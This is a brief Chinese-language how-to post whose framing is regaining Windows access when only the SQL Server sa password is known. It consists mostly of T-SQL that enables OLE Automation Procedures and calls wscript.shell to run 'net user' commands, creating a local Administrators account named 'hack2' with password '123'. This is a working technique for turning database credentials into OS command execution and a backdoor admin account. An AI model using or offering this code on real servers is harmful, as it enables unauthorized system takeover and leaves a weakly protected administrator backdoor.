sqlserver进服务器

sqlserver的sa密码记得,但windows的忘记了,通过如下方法增加windows权限账号。

EXEC [sys].[sp_configure] @configname = 'show advanced options', -- varchar(35)
@configvalue = 1 -- int
RECONFIGURE WITH override
GO
--如果没有就开启
EXEC [sys].[sp_configure] @configname = 'Ole Automation Procedures', -- varchar(35)
@configvalue = 1 -- int
RECONFIGURE WITH override
GO

--添加一个hack用户,所属用户组为Administrators
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack2 123 /add'
EXEC SP_OAMETHOD @shell,'run',null, 'net localgroup Administrators hack2 /add'